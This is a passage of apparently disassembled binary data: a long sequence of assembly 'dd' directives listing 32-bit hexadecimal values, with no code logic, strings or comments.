0B2FC3Eh dd 8F4FE65Ch, 9F8B65E0h, 37C8BC00h, 1B6E9ADBh, 0A38D07E4h dd 90B37064h, 9D0C395Dh, 3928C13Ah, 254B9C29h, 0FCF3C880h dd 1DC7707h, 0FE6D2CE3h, 0F0C62A8Bh, 1107E145h, 0C582B958h dd 0B7C05FF0h, 2B78C9h, 930860Fh, 5D15BB87h, 0A48B6B00h dd 803C37A0h, 60E2ECA7h, 0DA0A6038h, 0CF00D928h, 157164A5h dd 8421CB7h, 17571A1Bh, 87C06E1Ch, 29880C2Bh, 799A0060h dd 0B1B3CC9Eh, 150030B4h, 9697D20Eh, 32E09Ch, 766D2623h dd 898B6A2Ah, 485C3B00h, 27CAA29Bh, 0C045000Ch, 0F5476420h dd 0DE0F78D6h, 80605925h, 0B513CD4Dh, 50B91E68h, 848C001Ch dd 4831F942h, 467C6F13h, 3D57A200h, 876C49h, 9F4FCD5Bh dd 512A6304h, 5939D03h, 9081D18Ah, 4C55B3A2h, 0C0060E4h dd 0A76ABB48h, 1B794DF2h, 40143001h, 0C08DB0C4h, 7113DE0h dd 94B3C172h, 0E4F270F5h, 8000872Fh, 299E774Ah, 2A1A6AE8h dd 8CB864h, 0D2C867Bh, 0DB593A83h, 0F322F0Dh, 0ACC8A0DEh dd 0FD761C38h, 2A1CC0A6h, 0BFEAD672h, 23E30A00h, 558F88B0h dd 0BA1600D7h, 0B90DD12Dh, 4F18F7A1h, 18606E21h, 0B27A4C1Dh dd 0F066AA03h, 0D180B779h, 2C009952h, 8EEB9709h, 0FA6DC329h dd 0B77009Fh, 49A27FF9h, 300832Dh, 32AC89A6h, 0F756F2h dd 391BFFE6h, 0B5A10A34h, 57D74B0Fh, 6838A0FEh, 4B0C848h dd 0A72C6944h, 863884AFh, 5858888Fh, 2B3309E0h, 5E282006h dd 0E8CA2A8h, 83E51C89h, 0C08493E5h, 0BB1DF0CAh, 0D649F207h dd 0D8407059h, 509DABA6h, 35C4A1h, 0EA4C8B30h, 93D2D1C8h dd 62FD4Ch, 0C9532999h, 0CC537E3h, 6128F69Bh, 0A50FDE82h dd 8065728Eh, 0B18266ADh, 1D7D5Fh, 0FD115657h, 5358D22Dh dd 0B960D000h, 0B2B3EDBCh, 92A20090h, 4FD627C6h, 3B001482h dd 0AF35F306h, 0D75F8Fh, 0A5EBE0A9h, 85CFAB2h, 0C9C63Ch dd 7C374569h, 0AEF798h, 70979233h, 0A96D6096h, 89428B05h dd 8C0569B7h, 84AB4FEAh, 8507C3AEh, 7608A800h, 0E1100EBDh dd 65230049h, 0A6F511E6h, 823CF7B5h, 975883CDh, 0D8E328A1h dd 487DC4h, 62D432DCh, 8BB9A7ABh, 13F7AA00h, 58870F34h dd 0FC2C001Eh, 0BE47295Dh, 5F77BFA2h, 0FB016A90h, 32A67267h dd 0C040E23Fh, 60D7F4h, 24587DEh, 17621BF9h, 0B9B03160h dd 99BBDDh, 6997A388h, 0A068F79Fh, 52B5151Eh, 0A077288Eh dd 82922E4Ah, 6B490058h, 90215E71h, 0FF481E2Dh, 0FD0B0000h dd 0C1A850F9h, 939C00BAh, 0A9B6FAFBh, 0D915A3F6h, 10902AC3h dd 509D42F3h, 7C90263Bh, 12357884h, 0B500BF50h, 6BED1CABh dd 5F00F7B7h, 5DD17246h, 0B0071369h, 186C05BDh, 3BDD3Dh dd 0EB26A4ECh, 23032D9Dh, 3ABDFB52h, 59B80048h, 81BAE34Eh dd 0C10CD9FEh, 584C6CDCh, 0F4190040h, 1A09A56Fh, 730452A7h dd 152E5C68h, 0D180DAC0h, 8E16003Bh, 0E884EECEh, 0F30022C3h dd 0FBE9611h, 0B270517h, 0C49F9304h, 6D6AEA00h, 65019499h dd 0ED48268Eh, 0D4CCD3C3h, 310C00D0h, 375BF2C6h, 0FF0F46FEh dd 4001D1F5h, 388DCEF0h, 2228000Eh, 0FC3E9311h, 871EB144h dd 9C8017C4h, 18464A78h, 45C1006Ch, 0CEF9A6D2h, 0FF240FD7h dd 0D1827C63h, 0E34270B6h, 814C875h, 66D800EFh, 4CE4B288h dd 8E3D95B0h, 0E73F75C1h, 4ADC804Fh, 2185E526h, 8A3900F6h dd 0ECAC6BBEh, 7616A4B9h, 0AA492423h, 40443017h, 87F43EE5h dd 250324C9h, 0DF7BCA85h, 0E275FF0h, 0C2E75B04h, 54802D80h dd 0FCC6609h, 7D16FC59h, 0ED46ACE0h, 0F8011939h, 2157F08Bh dd 0F4C88026h, 3097019Fh, 0A337CE3Fh, 0A96E0014h, 40B84D98h dd 0B168B400h, 0ACC2E801h, 0F5302016h, 7D548003h, 3ED3C1F4h dd 0DD3C28BCh, 2D7E5100h, 86D5AEC2h, 0C5A89700h, 3C7F631Eh dd 11BB0F76h, 85A07D61h, 6C133D8Dh, 0AEB3EC03h, 0C171EBh dd 6473E130h, 0B1775461h, 7CB02B28h, 8CF4410Fh, 0AC131D3Ch dd 4966D440h, 0C059C0B1h, 8FA81710h, 0AF007538h, 0AC4DEF95h dd 5F4DC92h, 970C544Bh dd 3A6C0FEAh, 102114C2h, 0CE05906h, 6C782BAEh, 0C0006171h dd 826EBF25h, 0B169ECh, 609FCFFFh, 9B9EF0Dh, 0E0520700h dd 3473D26Fh, 66238D3h, 0A09EDE00h, 2E893970h, 0A781091Dh dd 7E56840h, 3B838D59h, 3D809030h, 2805B32Fh, 0EC0C55FAh dd 0D97DE0DCh, 68ED43E6h, 8A5F0490h, 80A42361h, 0D556E160h dd 8E00A312h, 0F4580F55h, 0AA2D92Bh, 249461D3h, 0F5600384h dd 2848D474h, 3328672Fh, 7D24CB80h, 2DED0125h, 26D13A1Bh dd 0C0F2C97Fh, 0D707721Ah, 4875E778h, 3B9F0AF0h, 209C019h dd 113E9E0Bh, 1C5D0802h, 0F716EA0Dh, 404937E0h, 0D87BDE05h dd 0BC855E2Dh, 99F16883h, 27209E42h, 0A35000F2h, 80472E0Ch dd 0ED003743h, 9EFD285h, 6A6B06h, 75998CC8h, 542D0507h dd 0C7F01F4Bh, 0B772B5h, 0DB6425A8h, 40A3C59h, 0A0E2C513h dd 617BF400h, 2C2CF83h, 0CDAEA53Ah, 9C806FB5h, 0F131B426h dd 0C0A6D00h, 3A407432h, 2598A09Eh, 5E717A3h, 271C0073h dd 12C68315h, 0E553B703h, 482134h, 1DA03328h, 0A74AD823h dd 9F1F6E00h, 7E43760Ah, 0FCAE0E05h, 0C7EEFB22h, 33E3D3C0h dd 980B0370h, 807158D1h, 0E9BFF51Fh, 27B70717h, 300EF830h dd 0EE29186Bh, 7568FB0Fh, 5C6380A6h, 1EE984B7h, 1EF6A92h dd 9DDD0CF0h, 8DFC40ADh, 0AB079E10h, 4DB8726Fh, 0B1A47A80h dd 0D1433A69h, 0A2134089h, 0F6E1DE83h, 0DDC6ABB0h, 4CD33800h dd 0C2B05EFAh, 79602FE4h, 2E112240h, 84B6223Dh, 6EE65F76h dd 41FAD0C8h, 56168047h, 0A2B8D26h, 84BF0055h, 0D2CAC8C9h dd 0C40E6E9Ah, 0A043B5A2h, 532E370Fh, 0A90300D8h, 3E996B71h dd 860FA405h, 0C98881F5h, 0C7A300D5h, 7E527Fh, 37DBB126h dd 84A55B09h, 7C98C001h, 0AA459425h, 0FB6F0A8h, 5A370671h dd 0D20008EFh, 4B31AD57h, 984CB900h, 41EF9A7Ah, 0E2E0739h dd 2A5E63h, 1132765Bh, 0B0684Ch, 37486108h, 6196A088h dd 9A3EF01Dh, 0BA48602Eh, 0D628000h, 4CB54851h, 0AC530015h dd 9EFA3BC5h, 35007237h, 391E2C31h, 0E24F20h, 71C3B8EBh dd 0FC12AF82h, 9193CE13h, 0A540831Ch, 0CABFED1Bh, 30630060h dd 0C09F5FB6h, 3170D420h, 0E2006D90h, 0BDF338BFh, 9444EDh dd 523F88C3h, 242B7E7h, 44199E2Eh, 5A04F1Ch, 5CD44BB6h dd 2C1C803Dh, 0B40782FFh, 67859542h, 2724A550h, 0EA90010Ch dd 7BAC7DE8h, 1AD0D8E3h, 45977900h, 0E6729E41h, 0F0953B26h dd 3A0EA8C8h, 8FA166C6h, 70621C1Eh, 6700E20Eh, 0F0850110h dd 13B2C636h, 542FF666h, 8A000440h, 0EA9AA6E9h, 0C500FA5Ch dd 5DBF1592h, 3ECE699Dh, 1701B8A7h, 4FBC2125h, 0BBA8F7A6h dd 0FEF88DC2h, 513BF712h, 8EC1D81Ch, 4AA016Bh, 6E5F9300h dd 260F80h, 0C536513Dh, 0BD123244h, 6ACB282Eh, 80A74900h dd 9FDF7E4h, 8B6B50E1h, 0F6A0178Fh, 0CBCC9F8Eh, 9200D094h dd 8669018h, 2893BC0h, 6A27EB00h, 0C64231F1h, 1AF20300h dd 11FFD12h, 4BD8027Fh, 0B53D8875h, 0C39FE60h, 473A0978h dd 5900F75Eh, 36256F5Ch, 4116B9h, 0F0DC863h, 0A547CF33h dd 4B6C581Eh, 0C213C187h, 3861D660h, 0C59E003Fh, 1C69C69Ch dd 0A800AB59h, 75652EDEh, 61FB7h, 782505FCh, 3281EAA9h dd 0AAC58800h, 0D53EFE9h, 0A5BB0767h, 818E9838h, 205BA1FAh dd 548398Ch, 6F430FF4h, 7F137ED4h, 6C3DC800h, 0E3C980Dh dd 94530607h, 0B75FFA20h, 7C2EDE6Bh, 0A5006297h, 19D196Ch dd 0A38C028Dh, 20725431h, 0BB9A8C40h, 28004BF6h, 0FEA55396h dd 0E641391Bh, 4D2C000Ch, 716B4EF9h, 600A418h, 0AB8D8194h dd 92A65Ch, 0E291AA9h, 3AF2E52Bh, 4634CD00h, 0CE45268Fh dd 0EC0490BDh, 8C7A3Eh, 50E71B57h, 3C1FA1E3h, 0A2DB9D04h dd 0E8C0AE76h, 299651h, 19BEBF9h, 0D33BE44h, 783DA901h dd 0B23E3757h, 0FBD847F5h, 0DE7979h, 34BB62EEh, 911EDDC2h dd 0AA63E0Ah, 89879869h, 15007E0Ch, 0FC6BC5h, 90DF9194h dd 0BCA5F1ECh, 0E94BED00h, 0E78A21BFh, 0C57BA4h, 799D4DEAh dd 96D0901Ch, 13901B7Bh, 2694F800h, 0EEB0DB76h, 7170ABh dd 0E72F5384h, 0C646BF79h, 0FF161EE0h, 5C008D67h, 6DE537EFh dd 1C79F8h, 0B86CB0A1h, 775E0F2Ah, 8FB2F300h, 6F05ADA3h dd 0EAEF7C06h, 283600A1h, 2A7EF4E5h, 5102DFF3h, 1787347Ah dd 43FC40D7h, 0E260000Fh, 25271884h, 5C074F7Eh, 50215BDh dd 103380B9h, 0EBC92Ch, 0F6D2ABFBh, 0C54F2F04h, 0D00E892h dd 9C447985h, 7244867h, 0EB01A715h, 90CE87B5h, 60D632DFh dd 0CDB37401h, 3D31D94Ah, 863770h, 563BEAADh, 0A1E9751Ah dd 250CB800h, 0B51EE865h, 88C0F9Eh, 0D66160CCh, 71031869h dd 439BE3DCh, 39E81120h, 1050F06Eh, 74823887h, 54AEEF04h dd 0D093857Bh, 0BCBA450Ch, 0AD3C8D12h, 0C5607C90h, 2845E9F9h dd 6BD15400h, 4AE48CA4h, 0E283AE2h, 0DFF3B353h, 0EBF231Eh dd 23E33115h, 1649E93h, 11ADBA90h, 6059F0FBh, 0A005C68h dd 21A32BF7h, 9C8395h, 74AD9EF1h, 0A5C78270h, 0D59BA600h dd 3C522599h, 0AB7D0095h, 96627548h, 0E3003A72h, 0CBBDB5E1h dd 0DB4B86h, 0D780EE12h, 4228D25Ch, 0D82CF9ECh, 8B0779BBh dd 78D0D0B3h, 34C5DDEh, 600C054Eh, 0DFC3F965h, 0EEA3FBA0h dd 0C9077700h, 93E45A14h, 83B80069h, 4276253Eh, 0B200A109h dd 7BF6F46Ah, 1E20681h, 944375A2h, 206FD319h, 1E0015ABh dd 0BB90140Dh, 3EA05429h, 0F1009860h, 9D873B44h, 0D209123Fh dd 48E033BCh, 3DDEB8ECh, 4001B1A2h, 0F8DB14CDh, 80B3D1C2h dd 0A2466121h, 138FA61Bh, 0DD1785h, 0AB5A333h, 2E07F960h dd 0AFBDD65Bh, 5811E760h, 8269342Fh, 99D84022h, 54664D88h dd 0ACED9D03h, 0A3F42D3Ch, 13210008h, 825C4D30h, 5E359301h dd 0A0D0A8E9h, 9AC2083h, 47D39D9Ah, 20E79E06h, 6F30597Dh dd 11E418F7h, 62712448h, 0B0CE8790h, 0D444B2EDh, 0CDE9E540h dd 21D708CCh, 0EC881F2Eh, 150600B7h, 0C73EAE2h, 907A3700h dd 0B22363C4h, 6EC60535h, 229B0343h, 0E430F99Ch, 33AF11A2h dd 80A58850h, 32A24C1Bh, 9D00C45Dh, 82DB7941h, 51B31E75h dd 94039826h, 386FC111h, 0A892108Bh, 0B2EFCA00h, 0B7006283h dd 2A9E4522h, 1FE14EB3h, 0C0095F57h, 528DEBF4h, 0AE0C85Dh dd 0E194D8F1h, 50A9CE00h, 0EDE729B7h, 161A006Ah, 3DBAAAECh dd 68009FFEh, 256C8B3Fh, 37531ABh, 60AF81E6h, 0BB982332h dd 0D63878A6h, 166883FEh, 0C89B3D47h, 142C58F8h, 0B3BF2BE9h dd 0C28A6F03h, 2EE0F91Fh, 0DA18B47Bh, 4B287673h, 5EF700E8h dd 0C4BEFA9Dh, 72078744h, 0F56B77EAh, 0F43E7BC0h, 31070C14h dd 0BE115C8Fh, 1A7CF307h, 0C033A6F1h, 3008CED9h, 95207AA8h dd 0B2067B48h, 0E15DBAF1h, 4944C149h, 0F08A9379h, 7600AF66h dd 0EB8D1DCh, 197D4816h, 0A8192F2Ah, 0C3A5254Dh, 5B5E5007h dd 2C0088DFh, 1D5AA012h, 18A3FA84h, 37BA210Fh, 29A78803h dd 3CADE4D1h, 91608CF8h, 4BE8C69Bh, 9A228700h, 82D366C2h dd 5FA006D5h, 0CA84817h, 0CCE87612h, 10B05118h, 0DFBF0091h dd 1CA782D2h, 7000AC6Bh, 90F9E168h, 7F0137F3h, 4FF11A5Eh dd 894070B2h, 0C10F8AC9h, 0E4EE20A0h, 0C580AB86h, 826231h dd 96FF3DB3h, 0C05978BBh, 0B675E600h, 74F5165Eh, 97C23BCFh dd 55E8A800h, 0EB38D595h, 0B8F2B706h, 0E838072Dh, 7F6E37FFh dd 0D9C98008h, 8E014D19h dd 0FB4CC57Eh, 82DCFDEFh, 615D0007h, 9E2EF37Ch, 0FA3CAB26h dd 634E8092h, 430E108Eh, 105F8A8h, 960A2B99h, 0EC06ED38h dd 70C03F87h, 48C7FCFFh, 5A56014Dh, 0C6E1C18Ch, 3539CC92h dd 5EFDAB00h, 52125DFh, 0DCC8004Eh, 2DB01964h, 3F003332h dd 0FC41A0CDh, 60C99Dh, 398D305Eh, 1ED556ABh, 0A70087E8h dd 0CD86B78h, 633D2C4Eh, 9BBF4063h, 0BCD01928h, 0C9916033h dd 0E8FDB30Dh, 3FDE6147h, 4E0110B0h, 0F53BA032h, 0FCC8C736h dd 380F6923h, 0A03EDCD9h, 6E9AE765h, 0FC904FC6h, 0ECEF1EC5h dd 75452141h, 318CE6A2h, 0E5088EE4h, 79547600h, 8C9481B8h dd 0F03B00D9h, 0B0062BDCh, 87055B5Ch, 1B168669h, 0C31081EEh dd 0EF65C4C1h, 0DA91CD00h, 1C5B46FFh, 0A360EBA6h, 587461ABh dd 8275D423h, 2AD69C4Ah, 322C0C0h, 0FAF9807h, 1B8B9FDDh dd 91753F41h, 0C59980E9h, 40B337C9h, 2D6F004Dh, 0D9AE06C8h dd 0E6F8B465h, 3E949506h, 131EC8Bh, 0B0AE64EAh, 60420940h dd 0AA5808B4h, 41330068h, 7281CE14h, 766C0E26h, 0EB605943h dd 16EE7FEAh, 0E6FDC300h, 0D5B37750h, 0EFBB03D3h, 93C494DAh dd 6CF8C060h, 2A992E10h, 98EAE4h, 91F82609h, 162D6631h dd 0BA7341Bh, 27F6D031h, 0CAFF00D6h, 297067D4h, 0EE031AAEh dd 62A1A4DAh, 16F88895h, 0ED9307F4h, 6B7A617Ch, 0E880BD54h dd 14175205h, 880D1A32h, 41610EBh, 85B2D518h, 0EA3B6310h dd 0ED7D00E6h, 8DA34D2Eh, 6F00B9D7h, 9CF82BACh, 1F3D955h dd 7E83E8CDh, 0E819E9A9h, 690047B9h, 820E0C6Eh, 251C0ECh dd 1B536D18h, 0B8C00B29h, 0BD013190h, 45A895E3h, 0E9E8B5DAh dd 70AE036Fh, 0A53FB34Eh, 0DE42A3B8h, 8D028000h, 57A769A4h dd 0CEEF0040h, 1BD413C5h, 230092BCh, 5607FEC9h, 868CA8h dd 42D8C4E9h, 0F0C0CC45h, 0A610C307h, 5F8051FBh, 1D7CB06h dd 0F8EF4248h, 0C4D4DDABh, 5D002FF4h, 0B1534A0Eh, 0A9C78Dh dd 670DC324h, 6B19D74Dh, 5528FF00h, 0B3134C34h, 31FA02CDh dd 4A42351Ch, 85904543h, 0E50073BBh, 30458707h, 848DF9h dd 14B657CCh, 1FB488CFh, 25312C02h, 809140E7h, 57074CB4h dd 0A84603ABh, 6ABDB36Fh, 8DE2C788h, 0CD0F177Bh, 60144B88h dd 0F4AA3AF5h, 3D6FE77h, 5A4EF3F8h, 50970456h, 0DEAF291Eh dd 2A69E24Ch, 3F00E840h, 6A6CABC4h, 78CC797h, 50568303h dd 58DD3081h, 0AE001432h, 0A5B73940h, 779E85A0h, 1A080030h dd 7919ED5Fh, 11015427h, 0CD5181Bh, 0FF603F50h, 0BE7400FAh dd 78BABC44h, 0C80039F1h, 0AEBDA4CCh, 3F91716Bh, 708143D1h dd 0E0849F69h, 70D7EDDBh, 8F00EC0Bh, 9C37C008h, 12D1B8h dd 9E276460h, 9488483Ah, 0C0872132h, 9728A059h, 1C70A826h dd 8EC67D39h, 0F5208C04h, 8569965Ah, 0E9000872h, 0A41A9BBAh dd 40A9A7h, 44049E2Ch, 50F98EABh, 600617FEh, 6315CF05h dd 3F1D0070h, 1A1C782h, 3075F526h, 2F66A00Fh, 270DA1B8h dd 9024B321h, 0D113002Ch, 0A6209A1Eh, 6F1E807Bh, 6267D97h dd 5E69A100h, 7755C44h, 2720CBA3h, 90A8F7AAh, 1C3A92C5h dd 9D3D1600h, 22AC8C08h, 0F50300E0h, 0C8FDFF2Fh, 18011C05h dd 0E8EC8453h, 0D8F34FF0h, 79AFE78h, 0DDA1C3BEh, 45A3C05Dh dd 0D100941Ch, 0F1727DABh, 0BD4055h, 8E6F7BF9h, 384CF29Ch dd 318F448h, 53207489h, 0B677A0ADh, 42D5288Ch, 0E0600F8h dd 83CF5C7Bh, 7430270Ch, 1C25E9A4h, 117A7Fh, 7571BDBEh dd 0F50973C3h, 0A5F28400h, 5FB912AEh, 0A444004Bh, 0B0EF4762h dd 58C0DA54h, 1EA5070h, 0DFCD00F0h, 0C0DEA336h, 5F48C4B1h dd 46EB006Eh, 0F62F19EFh, 0D0E000B5h, 0A41D22A0h, 1200E329h dd 9E4F85A6h, 0B3BAB0h, 5CE7B7F2h, 0D77E65DBh, 0FA2D6203h dd 57A308h, 9ECCDE34h, 0F5ADB7B2h, 0F18F9A12h, 88D2AC00h dd 0FCDFE549h, 0D91E005Eh, 84087A4Eh, 0C0008992h, 0FC9CABDCh dd 0F343FFEh, 37367B68h, 188073C0h, 131D1CADh, 0B0C0EC08h dd 0F9D3F026h, 0CFA60159h, 788EF5AAh, 96688090h, 0C038F38Bh dd 0F1500B2h, 4096766h, 944E329Ch, 240334C0h, 461000E5h dd 0FD83EC9Bh, 88004BB7h, 12DE2A29h, 603C815Bh, 65910A5h dd 2F06B31Ch, 9F8B3FECh, 5E1B0029h, 7CB25D0Ah, 0FF00F0EDh dd 45619C98h, 5F7D59h, 63E97288h, 42C47F60h, 1B84EB54h dd 666EAB00h, 0D99A6782h, 1249A21h, 7E3335Eh, 0DC1430D1h dd 2E503759h, 9300E5D4h, 0C28315C8h, 0F032DF53h, 0BB7502D7h dd 0FD488A64h, 0EB096940h, 213EC51Fh, 52CDC880h, 7D6E77h dd 0E22A8235h, 70C52320h, 0F98610C0h, 30A0C4h, 0B9C7B553h dd 0E659A5Ch, 61FB5800h, 0F352FAF7h, 8B4F0086h, 2A18FD4Eh dd 34388174h, 0C2258FB5h, 0B97CC0CBh, 731EBBh, 3551C5Eh dd 40E93AEFh, 86422E00h, 7B9934Dh, 413B0008h, 0DE5E7B65h dd 6C1FC5B3h, 0A9C0B6BCh, 1B5150BAh, 0D952009Fh, 812097C3h dd 0E91E963Bh, 840B486h, 0A2A926A5h, 977D0727h, 60804A41h dd 0D8562ACEh, 3C41E3Ch, 0CC6541Fh, 860180F1h, 37F5002Eh dd 56E302EEh, 31005AFFh, 9566E828h, 0C3B538h, 0EF4A9959h dd 0C48149CCh, 5C985500h, 8B058F24h, 140900EAh, 5DEBE967h dd 0DA0E75EEh, 7CDF52A0h, 0AB825981h, 96D4ACCAh, 0FB7A009Fh dd 0ABF644Eh, 8E078794h, 8A0245DEh, 3B700D90h, 0AC6700A9h dd 0FE258BEAh, 71000E6Ah, 6E81057Bh, 14A5FCBBh, 0AF095FA4h dd 0D1376700h, 7AC2517Dh, 0DDC82728h, 0AB014775h, 0A0745C69h dd 2C0CF1Ah, 6EFC07D3h, 0EE21DAF9h, 0FF086B40h, 8300EAA1h dd 0DC9FD082h, 9812BEEFh, 0D7B50h, 37C1ED81h, 0BD1A1C6Eh dd 93383500h, 51A7A305h, 467303E1h, 68B00FE2h, 89002075h dd 0E112552h, 0ACF919h, 0DDD596B5h, 439D9E72h, 7C642800h dd 0CCD3215Ch, 87542CEFh, 3F8B8078h, 151DDADEh, 33FD1400h dd 0A1341C94h, 9A8A00E7h, 78CB8D72h, 6A008677h, 0AB2DC405h dd 0A822B1h, 5272A741h, 9C2CF257h, 770BD500h, 0C68ECBD9h dd 94BA7Bh, 9709F337h, 0BE5E1CA4h, 0B61B9C00h, 7D7864E6h dd 8688C72Ch, 0D870C181h, 51119E65h, 50F4003Dh, 7A71D0A5h dd 8EFF00C0h, 76E95C8Ch, 0D3EE03Bh, 0BFDFBC4Fh, 82BB97AEh dd 8C8DCC4Bh, 194DE168h, 608C12EEh, 5EF5D853h, 18B5074Ch dd 1211427Dh, 1403B016h, 5C398C63h, 0A92C2F01h, 0FDDFD96Eh dd 10C403Ah, 0FC9AF2BFh, 9CB17000h, 34188414h, 317B09h dd 0C725F641h, 7563EB38h, 1E2D1500h, 0FDB9CD2h, 45B700F8h dd 0E6721A31h, 54016A7Bh, 959B4273h, 0DFC3FE8h, 793200A2h dd 0E0EAA098h, 0E003027h, 0A1704C99h, 0A62F76h, 9B95E9Ah dd 4175409Dh, 5F6E4700h, 0CEF097DAh, 573C008Ch, 771BDD44h dd 0D900CB32h, 0B8B46B43h, 0CD2D50h, 0FFD0CED6h, 0F8715203h dd 0A5D10C60h, 2617C758h, 0DF66624h, 0CD08B98Eh, 4E20805Dh dd 5095C7B0h, 6EA00C2h, 78C9B487h, 340035A4h, 7AB7D17Dh dd 2A740A65h, 1EC8E9C0h, 0C0C7130Bh, 7CE6FE19h, 0E1744E10h dd 3D21D461h, 32E43AE0h, 17F1Fh, 5AF8BCD6h, 0A95D46C8h dd 0F96BBF0Ch, 580268CFh, 0EC142463h, 862AF981h, 8F3200F4h dd 3B35F6ABh, 0CD660925h, 0E21B109h, 0F4AB7812h, 0DF03BBC0h dd 0F16F672Dh, 11184381h, 0B57896F0h, 0C52AFA70h, 0A800F886h dd 0D9B3CA16h, 1D81ABB4h, 12AEC401h, 3A14C0ACh, 797CCA8Fh dd 74EF5300h, 3118D76Ch dd 0B95D31E0h, 0B77F48C9h, 4D041858h, 7D502F00h, 0BF0015C9h dd 0A3DF5691h, 0EA2CF7h, 0AF04133Ch, 298F5BCEh, 890169F8h dd 0EC078ECAh, 0D5E03294h, 0C4983CACh, 0D09E033Eh, 39BE848Dh dd 250AC05Eh, 5100CB1Bh, 82E6B4Eh, 7B6C787h, 0CCF868Bh dd 0B4FE4072h, 0F203D229h, 93CDC05Bh, 9275A1B1h, 211AD0h dd 7880B4FFh, 0A41F0DFDh, 8742C700h, 0F42A587Ah, 0A89D0146h dd 0B77C5177h, 64508149h, 296FE117h, 1DB0F9ECh, 5E3811DEh dd 31203090h, 0C7107F04h, 661077A7h, 41B43199h, 99806E11h dd 64B8E570h, 0D13902BAh, 40718034h, 0DD89B758h, 0F3041BB3h dd 0FFF0486Fh, 0B1C0015Dh, 0F7782649h, 0B9F0365h, 730AFAD8h dd 588B0830h, 72C37B49h, 0F5BD03F7h, 0DC58AD50h, 44FFC82Ah dd 5923C503h, 1BFEA25h, 1B229E64h, 0D862B4DDh, 28C0AD8Ah dd 690340DEh, 5A390374h, 5D717C3Ah, 7D495CA7h, 0ED326701h dd 73384F78h, 0C3358F4h, 0D236B020h, 49388AF8h, 754A0F21h dd 0A74F0F35h, 0AFB02399h, 781DD3h, 0B4A8448Eh, 0EEE030C8h dd 0E746690Fh, 8C644131h, 0FC871F1h, 77760747h, 0A1A01C62h dd 0C0EDAF35h, 0AD00AAA9h, 49B62FE2h, 2E2494h, 0E230175h dd 0A9FDB37Dh, 4F73E8F7h, 84B89900h, 9B15E252h, 16E12D5h dd 0FB300A7h, 0A910F933h, 3A48E12Eh, 0AC285000h, 0C0B2Bh dd 8E37798Fh, 9864246Bh, 4F1E7EF8h, 400A056h, 9C7433D7h dd 6D1300DDh, 8E40F42h, 0F67C226Ah, 7F942800h, 1F37AA33h dd 1951F7Bh, 7186458h, 6075BA87h, 6CA2DCAFh, 0F03DD72h dd 6A3A4EE3h, 0DA8085A4h, 1DE441F4h, 41D833A5h, 90D518AEh dd 0C70898A9h, 9520421h, 1CA03D33h, 0C448D302h, 685673C0h dd 0D55370Ch, 6CB0585Ah, 0A26030E7h, 334F1F8Ch, 0E0FE50C2h dd 3E338402h, 8E81081Ah, 78B3B838h, 0A14187D6h, 1E462126h dd 0DD051C70h, 6D0020E0h, 14C5782Bh, 4041F647h, 0C11F83C4h dd 11704C5Dh, 3370C61h, 5603A99Bh, 930CEF8h, 0B18161FFh dd 0A12B0637h, 49EE35C0h, 7963AA01h, 105DD108h, 9066F8F3h dd 2F14004Dh, 3B07B3D9h, 6D00886Bh, 659885DEh, 0C0BE28EDh dd 80210F98h, 6B71737Bh, 166154F8h, 4D6CC119h, 37810200h dd 989F6A3Ah, 0DB207CC5h, 0E54A002Ah, 0EFAC8BDAh, 68484B55h dd 8C00775Fh, 2B6BA191h, 1C462C7Ah, 43DE32F0h, 2DD5BAD2h dd 0F2CD13D8h, 0E0057B8h, 511CAA02h, 0F852BA4h, 6F8B46E1h dd 3D6881C0h, 0E8008D49h, 299664DAh, 3FADB83h, 0F4EE9CECh dd 27801A38h, 730F94D4h, 4028FE47h, 6F7AA841h, 190B00A6h dd 0C4DEDF5Bh, 30046B1h, 63E977Dh, 0EA1E1Bh, 0D8F44EB0h dd 7935EBEFh, 8B140700h, 0E191CBE9h, 0B54438C7h, 878099BBh dd 355E0109h, 0F900DF0Ch, 5921B6DCh, 0E1C673B7h, 4631094h dd 0A9B8F8B0h, 0AFA710C1h, 0D8C4598Bh, 4087820h, 0B3AC0989h dd 9C38C0D0h, 0AD0087A1h, 8E5D3F84h, 60624AE5h, 0ECCB0980h dd 0E3E8AF7Bh, 9B788700h, 15CE5E7Dh, 38EEE4C3h, 6F005ABFh dd 1D59AED0h, 3103D7C6h, 81A9932Fh, 0F1649840h, 0D62101A6h dd 2923BF97h, 0FF41F45Ch, 14FA3707h, 0C927118Ch, 1E872840h dd 0B8580E09h, 0B9872D95h, 55874B98h, 0C0C2A401h, 9C2E68C2h dd 0F8B1CE00h, 298DCB4Fh, 0DA5C00CAh, 0DB11B794h, 0B8002BEEh dd 0A6C4F6E9h, 0EE5823ACh, 0E7778D1h, 74263CF1h, 2B44FC43h dd 0D336CEB8h, 141345EEh, 0F700BD3Fh, 9CCCA6Ah, 6EEA3CC0h dd 0FE264180h, 0BB933F66h, 5EA7879h, 17187EB8h, 8C18641Eh dd 0D132000Eh, 730CC2A4h, 9A0039CBh, 0FCE11953h, 0F6B760Ah dd 35F81E8Ch, 0C4B5BDC0h, 0D8A06278h, 0C9796A31h, 8C9C7B07h dd 0F290C8AEh, 74FAEBh, 0B68D10A5h, 876C1BC0h, 26669100h dd 6E2A9A29h, 0F8BE0045h, 0BF37DB5Fh, 96004BBCh, 0FBEF644Eh dd 0C093D997h, 5F30A5AEh, 130EBFD7h, 63A6EB14h, 0EE016DDBh dd 46800011h, 0F054F32Dh, 0E4039694h, 25BC58A2h, 3DDA77F9h dd 0CC021636h, 60997715h, 61003844h, 0D9293421h, 28DDB9E0h dd 0FA9B43EAh, 80C71231h, 55000089h, 286B5C04h, 5EE3C800h dd 41F55658h, 0F9D400F2h, 0C6E95777h, 791D505Fh, 134F75DCh dd 8EEAA0CFh, 0F0447ED5h, 1FB73D92h, 0A3001449h, 74EB05ABh dd 0D1027749h, 551B4EFFh, 4F9BE191h, 48A5C8h, 3DBC0826h dd 0FC755735h, 0E68848h, 45B40CA6h, 0ECB3B53Eh, 0C9740F05h dd 0AFA16781h, 0F8C08E5Fh, 1200B694h, 8A91A406h, 990FA1h dd 535EA82h, 131875D0h, 0BCB9C900h, 60FBABDDh, 2EA900BFh dd 2CA112BEh, 2AFAA23Dh, 0F80022FCh, 3410C77Eh, 1BBC4Ch dd 0F46AD118h, 61B38393h, 0D9A7FC01h, 0EBE00EF8h, 0D7E424h dd 30F273CFh, 8D3A7C99h, 79405700h, 20120DF6h, 0EC0200BBh dd 4A7EB534h, 0CD0F21F1h, 805F0AB3h, 54B19FDh, 5EA9004Fh dd 0DDA7AA8Eh, 547A28E8h, 0E91DD70Fh, 71803C44h, 6256FE05h dd 9A3200F4h, 8C467F6Ch, 2500C533h, 0A742275Bh, 0C33FA288h 